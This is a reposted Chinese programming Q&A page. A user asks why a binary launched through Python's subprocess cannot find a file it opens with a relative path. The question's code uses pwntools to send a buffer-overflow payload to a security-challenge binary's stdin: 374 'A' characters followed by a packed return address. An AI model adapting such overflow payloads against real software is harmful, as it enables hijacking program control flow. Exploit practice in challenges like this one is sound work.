gpt4 book ai didi

python - python 中的子进程 : file not found

转载 作者:太空宇宙 更新时间:2023-11-04 12:27:38 25 4
gpt4 key购买 nike

<分区>

我在 python 中遇到子进程问题:我的脚本打开一个 ELF 文件,该文件对 ELF 同一目录中的文件执行 fopen()。如果我直接打开它,ELF 工作正常(没有“找不到文件”错误)但是当从 python 脚本运行它时,它找不到文件。该脚本在另一个目录中,代码是这样的:

from pwn import *
from subprocess import *

proc = subprocess.Popen("/home/m876650/mission3/mission3",
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)

ret_addr = 0x00000000004007d8

print proc.stdout.readline()

payload = "A"*374 + p64(ret_addr)

proc.stdin.write(payload + '\n')

这是为了安全挑战,没有任何违法行为!感谢您的帮助!

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com